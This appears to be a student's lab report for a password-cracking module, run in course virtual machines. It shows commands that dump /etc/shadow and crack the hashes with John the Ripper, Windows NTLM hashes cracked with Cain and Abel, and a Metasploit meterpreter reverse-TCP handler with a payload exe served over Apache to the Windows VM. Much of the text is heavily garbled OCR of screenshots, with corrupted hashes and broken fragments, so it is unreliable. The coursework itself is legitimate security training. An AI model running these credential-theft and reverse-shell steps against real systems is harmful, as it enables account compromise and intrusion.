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At the end of this module, each student needs to submit a report that includes the solutions to
the following tasks. Make sure you take a screenshot for every single step as proof.

Task A: Linux Password Cracking (25 points)

1. 5 points. Create two groups, one is cyse301, and the other is your ODU Midas ID (for
example, svatsa. Then display the corresponding group IDs.

Command >> groupadd cyse301; groupadd cloch001
Command >> tail /etc/group -n 5
Kali = Internal Waorlkstation on CY307T-CLOCHOM

root @kali: -

File Actions Edit View Help

p "clocheel’ al

fetc/group
splunk:x:1001:
»x:le02:
each:x:1003:
X:10047

2. 5 points. Create and assign three users to each group. Display related UID and GID
information of each user.

Command >>
useradd userl -g cyse301; useradd user2 -g cyse301; useradd user3 -g cyse301; useradd
user4 -g cloch001; useradd user5 -g cloch001; useradd user6 -g cloch001

Command >> cat /etc/passwd | grep home

fetc/passwd

kali:x:l0@0:1000:,,,
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3. 5 points. Choose six new passwords, from easy to hard, and assign them to the users you
created. You need to show me the password you selected in your report, and DO NOT use
your real-world passwords.

Command >> passwd userl (user2, user3, etc.)

sword:

rd updated

updated

updated
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4. 5 points. Export all six users’ password hashes into a file named “YourMIDAS-HASH”
(for example, svatsa-HASH). Then launch a dictionary attack to crack the passwords.
You MUST crack at least one password in order to complete this assignment.

Command >> tail -n 6 /etc/shadow > cloch001-HASH

-

6 /Jetc/shadow cloch@@1-HASH

Command >> cat cloch001-HASH

cloch081-HASH
1 §u$§0TS WNAB 2 A

Command >> john cloch001-HASH --wordlist=rockyou.txt —format=crypt
Command >> john cloch001-HASH --show

cloch001-HASH
efault
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Task B: Windows Password Cracking (25 points)

Log on to Windows 7 VM and create a list of 3 users with different passwords (OR you
may use the WINHash.txt file you created in lab-4-task-c-Question-5Se).

Now, complete the following tasks:
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1. S points. Display the password hashes you have saved in WinHash.txt (cloch001.txt) file

in Internal Kali.

Command >>

«d 5§ » .

File Action Media

0 @0 n e fd

@™ Administrator: Command Prompt

stem3d2 >net user
ompleted success

PC:s\Windows
he comman

IC:“\Windows \system32>net user
he command completed success

stem32>net user
-ompleted succ

yeSsWindows s

ne

command

s sWindowsssystem32 >net user

fFor SSNWINDOWS?

~ accounts

ldministrator

Capt
ic 1oc hB@d e s

IC:\Windows\system32 >

[lew

Clipboard V

net user8 passwordl /add (net user user9... etc.)

hh L NI NH

& Windows 7 on CY301-CLOCHO001 - Virtual Machine Connection

Help

B

user8 passwordl sadd

fully.

user? abcl123 sadd

fully.

userld letmein sadd

sfully.

Carl
Hawkeye
userif
users

ain_America
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root @ kali: -
File Actions Edit View Help
root@kali: ~ X root@kali: ~ X

T 192.168.18.13

LPORT L4k

1 192.168.10.13: 4444

root@kali: -

File Actions Edit View Help

root@kali: ~ x root@kali: ~ %

'rupt history file /root/
htto.serv

serving HTTP on ©.0.0.0 po

File Actions Edit View Help
root@kali: ~ X root@kali: ~ X
apache2 start

~/cloch0@l.exe /var/www/html
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rootiEtoli -

View Help

disabled
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Apache2

.

—

Name

1 Index of

&
Index of /

4

@ 192.168.10.13

Last modified Size Description
E] cloch00] exe 2026-03-18 01:10 12K

1.38 (Debian) Server at 192,168.10.13 Port 80

4

\ { J |8 » Computer » Local Disk(C:) » Users » Window7 » Downloads
S R

Organize = iz Open Share with = MNew folder
. ks p ) MNiak
s Libranes
® 1 cloch01 (1)
| Documents z =
& cloch0dl 18/2026 1:14
o' Music
b=/ Pictures

B videos
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File Actions Edit View Help

root@kali: ~ X root@kali: ~ X

Metasploit tip: After running db_nm
of hosts and services

root@kali: ~

be sure to check out the result

2397 exploits - 1235 auxiliary - 4 post

1391 payloads - 46 encode
vasion

Metasploit Documentation: https://docs

> use exploit/multi/handler
Using configured payload generi
msf6 exploit(
oad = window
exploit(
8.10.13

msf6 exploit(
Started
Sending s

Meterpreter

c/s

- 11 nops

.metasploit.com/

hell_reverse_tcp

> set payload windows/meterpreter/reverse_tcp

TCP handler on 192
es) to 19

31

-0400

Page |8
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ent s s1on Id.

calling this from the MSF shell: s

iigque 1 (Named Pipe rsonation (In

root @kali: -
File Actions Edit View Help
root@kali: ~ X root@kali: ~ x root@kali: ~ X root@kali: ~ x root@kali: ~ X root@kali: ~ x

history file /root _history
~/Desktop/WinHash.txt
208:aad3b&35 X

WinHash.txt — LibreOffice Writer

[Table Form Teols Window Help

Beldl e AR B EHLEHE-Q- BDGP B OB O
ation Mono j|'-nr1 ;] BIU+S ¥ % A AP+~ EESE I S+Ev'Sv E
pmmunity

E b & - - A & £ J.l. - & . & EY & g

piseri:1005:aad3b435b51404eeaad3b435b51404ee : 201171de59d53ae594c97e968218515d: : :
userl9:1013:aad3b435b51404eeaadibd35b514084ee becedbd42ec3chc7Fo65255338bed4453c:
user2:1006:aad3b435051404eeaad3b435b51404ee:201171de59d53ae594c87e968218515d: : :
user3:1007:aad3b435b51404eeanad3b435n51404ee:c718rf548cT75062ada93258db288d3178
user8:1911:aad3b435b51404eeand3b435b51404ee:5835048ce94ad0564e29a924a03510eT:
user9:19012:aad3b435b51404eeaad3b435b51404ee;: MO0e37eB3bB3c47a93c2TO9T66408631b: :
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2. 10 points. Then perform dictionary attack using John the ripper for 10 minutes to
crack the windows users’ passwords (You MUST crack at least one password in

order to complete this assignment.).

= root@kali: ~
File Actions Edit View Help

VMshare .
root@kali: ~ % root@kali: ~ X root@kali: ~ %

zsh: corrupt history file /root/.zsh_history

' ~/W ash.txt t
nHash.txt: No such file or directory

~/Desktop/WinHash. txt

Using default input encoding: UTF-8

Loaded 5 password hashes with no different salts (NT [MD4 512/512 AVX512BW 16x3])

Warning: no OpenMP support for this hash type, consider --fork=2

S Press 'n' or Ctrl-€ to ahart almost any other key for status
(user9)

) jordl ( rg)
le i (user1@)
3g VWU VL: VLl DUNE (Z0Zb-03-18 ©2:85) 1.530g/s 7318Kp/s 7318Kc/s 14637KC/s
passwords printed above might not be all those cracked
"--show --format=NT" options to display all of the cracked passwords reliably

File System

_ ©@9..*7;Vamos!
f Warning:
Use the

Session completed.
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3. 10 points. Launch/open the password cracking tool, Cain and Abel in Windows 7 VM,
via a remote desktop window. Then, implement BOTH brute force and dictionary
attacks to crack the passwords for Windows7 users. (You MUST crack at least one
password in order to complete this assignment).

NOTE: Please refer to the class lecture and Lab Manual —Module 4 to learn how to add
users in Linux and how to use Cain tool for windows password cracking.

reserved.

Thor /fadd

EF Kali - internal Workstation on CY301-CLOCHO01 - Virtual Machine Connection

File Action Media View Help
@0 nw o Eg

root @hkalk -

File Actions Edit View Help

root@kali: ~ % root@kali: ~ % root@kali: ~ % root@kalk: ~ %
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*** Note *** Windows 7 VM was giving me trouble logging in using its password, so [ used an
older user’s password (Thor, 123123) to remotely login to complete this homework assignment by
the due date.

B Kl - internal Workstation on CY301-CLOCHOON » Virtual Machine Connection
File Action Media View Help

@O nixfko Pg

File Actions Edit View Help

kall: ~ tidkall: ~ x root@kali: = x

EF Kali - Internal Workstation on CV301-CLOCHOD! - Virtual Machine Connection

File

Action Medha  View Help

@O nir ko> 2§

rdeaktop - T90.968.10.9

-. File Weew Help

SR ORHBREY 4y RUmEESO%E O 4
l£ Decoders [? Metwerk Iﬂ‘ Sniffer ].IH Cracier [ﬂ Traceroite Iﬂ ooy F'ﬁ Wireless I:_';J Query ]
,gf Cached Passwords

3

Configue  Took

& Protected Storage Press the = button on the toolbar to dump the Protected Storage
@ L54 Secrety

P Wiseless Passwerds

B E /59 Passwords

*3 Windows Mail Passwords
o Dislup Passwords

== Edit Boxes

‘ﬁ Enterpine Manager

¥ Credentul Manager

B Windows Vault

F
|i Protected Storage I

hitp e omdlit
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= ==
File Veew Configue Took Help
AW BRE +y ¥ vvEEEaEE O 1
& Decodens I! Metwork ]* Snitfer .I.H Crackes lﬂ Traceroute In Coow ]'r ‘Wireles IES:) Cruery I
jof Ciacker User Name | LM Passw._ | <8 | NT Passm_ | LM Hash | MT Hash
B LM & NTLM Hashes (15) T Adminisrator * emply * “empty*  AADIBAISESI0JEEAADIBAISESI4OMEE  JIDGCFEDDLGAESIBTICSIDTENOEHCH
B NTLM2 Hashes (D) X Captain_Amanca ‘ampty: ¢ AADIBAISESI40AEEAADIBAISESTAOMEE  TIOIIAFDMGFACIMEICTEDBAI44CSDRD
A M5-Cache Hashes (0) X Cast * ety * AADIBAISESIMIEEAADIBATSESIAMEE ZBS76ACEERBCFDATRO0NDGEIB041 BIFE
& PWLiies D) X ciochoal * mmpty * AADIBAISESIA0MEEAADIBAISESIAMEE 2BST6ACHEEBCFDAT20M DEBO1B041BIFE
BB Cisce IO5-MDS Hashes 1) Guest * empty * “empty®  AADIBAISESIAMEEAADIBAISESIOMEE  J1DGCFEDDUGAESTIETICIDTEICOAGCH
I Cinco PIX-MDS Hashes (0) X Hawieye * ampty * AADIBAISESIAOAEEAADIBAISESIIMEE  ACEDEADEAIINADFT AZS4TN COBFIBEFF
P APOP-MDS Hashes (0) M HomeGroupUserd * empty * AADIBAISES10IEEAADIBATSESIAMEE  20TOCTFSTCIOBADILIOFSE200E4E23
© CRAM-MDS Hashes 0] X Thee * empty * AADIBAISES104EEAADIBAISESIAMEE  S7B110CA0145015CATECDGTESTDIIT
+DSFF-MD‘5 Hashes () xuivl 'Eﬁﬂl‘y' r r 4 2 o o q - et = -ory n
o RIR2-MDS Hashes ) R el * gty * AADIBAISESI04EEAADIBATSESIAMEE BECEDB4ZECICHCTFMAISEaBEMYIC
o VRRP-HMAC Hashes (0] K e * empty * AADIBAISESI0IEEAADIBATSESIAMEE 201171DESGDSIAES COTESAZIAS1SD
5 VNC-30ES ) ' X resd * empty * AADIBAISESIS04EEAADIBAISESIAMEE CTIAFMBCTS02ADASIISODE06DI1TE
A W2 Hashes 0 K usest * empty * AADIB4ISESI0IEEAADIBAISESIAMEE SEISOMBCEMADISS4ER ASAAOIS10EF
- 4 X used * empty * AADIBAISESIOIEEAADIBAISESIAMEE FOETERIBEICATAGICIFODFEA40863]
% MD4 Hashes @) & Wndow T * emply * v g 42 43 a1im 1] 3 L C
= 05 Hashes )
B SHA-L Hashes [0)
Dictionary Attack
B il - internal Workstation on C¥301-CLOCHOO! - Virtual Machine Connection ‘
File Action Media View Help
D@0 nw o Pa

rdesktogp

192.168.10.9

AW GHBRE +v @ L, vymEEO¥YE 6 0
& Decoders | 9 Network [ Bl Sni

N Wiesleer 154 Muieee |

Crackes User Nary - o) | Type
R LM & NTLM Hashes | §\ admin] | Dichonary LM & NTLN
R NTLMZ Hashes @) | 3 Captai Fie [ Posiion I LM & NTLN
R MS-Cache Hashes 0 | X Carl o C:\Program Fies\Cain\Wordists\wordlist b 1662780 LM & NTLN
& PWL files [0) X cloc LM & NTLN
I Cisco 105-MDS Hash | T\ Guest LM & NTLN
I Cisco PIX-MDS Hash | X Hawikel LM & NTLN
P APCP-MDS Hashes | X Homed LM & NTLN
& CRAM-MDS Hashes | | 3 Ther i 5 LM & NTLN
o OSPF-MDS Hashes (¢ | % usent LM £ NTLN

X userdd 2549760 Past/Sec Az ls (Password) LM & NTLN
b KIPv2-MDS Hashes X user ¥ Reverse [FASSWORD - DROWSS4AR) LM & NTLM
o+ VRRP-HMAL Hashes - Dictonary Postion ~ .

e, Dioubils (Pase - PazsPas) LM & NTLN

B VIC- 1605643 | 46%) - -
WYNC-3DES (0} X et W Lowsrcase [PASSWORD - passiword) LM & NTLN
! MD2 Hashes (0) % userd ¥ Uppeicass [Password - PASSWORD) LM & NTLN
e 1D Hashes () % Windo W Num sub. peems (Pass Pdas PaSe, PASs P4SS) LM B NTLM
= W05 Hashes [0) Cunert password [T Cate perms [Past phss paSi. PaSe PASS)
S8 581 Hathes (0) méciol3p] dipteilus W Twio rumbers Hybid Bne (Passl]_PassS9)

B SHA-2 Hashes (0)

& RIPEMD-160 Hashes Plaintext of 579110C49145015C47ECD26766703174 1s 123123

153 KerbS PreAuth Hashe Plaintext of FI9E3I7EAIBB3C47A93C2F09F66408631B8 is abe123

gﬂndi s Shared-Key H Plaintext of 4CESEADEAII0AOE7AZB4DOCIEFOBE4FF 15 academic

-3 E;s - g Plaintext of BECEDB42EC3ICSC7F965255338BEL453C 15 letnein
KE-PSK Hashes i) Attack stopped!

-':"_:l MSSQL Hashes [0) 4 of & hashes cracked

i?g MySQL Hashes [0}

%) Oracle Hashes [@)

ﬁ'!) Oracle TNS Hashes (1

& SIP Hashes [T) =

" 80211 Captures (0) Stant Ewit J

"8" WPA-PSK Hashes ()
i’ WPRA-PSK Auth (1)
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Brute-Force Attack
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File Action Media

@O n

View Help

> s O g

¥ Kali - Intemnal Workstation on CY301-CLOCHO0Y - Virtual Machine Cannection

—

rdesktop - 19

L Crackes
B LM B NTLM Hashes
R NTLM2 Hashes [0)
’ M5-Cache Hashes [0
& PWL files )
A Cisco 105-MD5 Hash
B Cisco PIL-MDS Hash
P APOP-MD5 Hashes
T CRAM-MDS5 Hashes |
ofs OSPF-MD5 Hashes (0
o+ RIPVZ-MDS Hashes T
ofo VRRP-HMAC Havhes
VNC-IDES (D)
= D2 Hashes (0)
= BADL Hazhes (0)
"l MDS Hashes (0)
3* SHA-1 Hashes [0)
W SHA-Z Hashes )
& RIPEMD-160 Hashes
179 KerbS PreAuth Hash
B, Radius Shared-Key H
@5 IKE-PSK Hashes ()
) ME5QL Hashes [0)
2% MySQL Hashes )
sy Oracle Hashes [0)
;‘l!.} Oracle THS Hashes {{
&% SIP Hashes )
"8’ B02.11 Captures [0)
'a' WRA-PSK Hashes [0)

* . ;
AR OHREE +v ¥ L vYmmEO®E 0 0N
£ Decoders I i Metwork I* Sniffer IJ’ Cracker lﬂ Traceroute IH CCou I_'ﬂ Wireless Iu.!) Query I
Usar Narme | iMPassword [ <8 | NT Password | LM Hash [ T Hash | chalienge | Type I N
f'\nﬁmlnmrl!er * empty * - * ermpty * AADIBAISES).. IDECFEODLA. LM & NTLM
X Captain_America * ermpty * . AAD3IBAISES].. 720314FDMSFS.. LM & NTLM
x Carl * empty * . AAD3BAISBES1.. 2BSTGACBESH.. L& NTLM
X clochool * ety * . AAD3BAISES].. 2BSTBACEESE. LM & NTLM
4 Guest “d ]
P\ Hovekeye . ] Brute-Force Attack ﬁm
{ HomeGroupliserS * = Thane Passwed lengih -
T Thoe * e [— o
X usent " e Lo Mn |1 j A
r\ustftﬂ g | hodelhimhand ] _I Max |16 _|:| 2
x el ‘e gl
X e gl e Staut froen M
x urserf “ g | | &l
P\.uﬂfq * g
X window 7 *e| - Feywpace Cuetent pazsword X
§186051427373441 1E024 a5
Ky Fale Time L=
10565933 Pass/Sec 2452010 yoary

Flaintsxt of FIEITEBIBBICATAIIC2FOIFEEA0B631E is abelld |

Plaintext of {CESEADEAIIOAOF7AZE4DOCYEFIBEAFF i1s academic

Plaintext of BECEDB4ZECICSCTFI65255330BEA45IC 15 letnmin

Plaintext of S79110C49145015CA7ECD267R57D3174 1= 123123

| Stop
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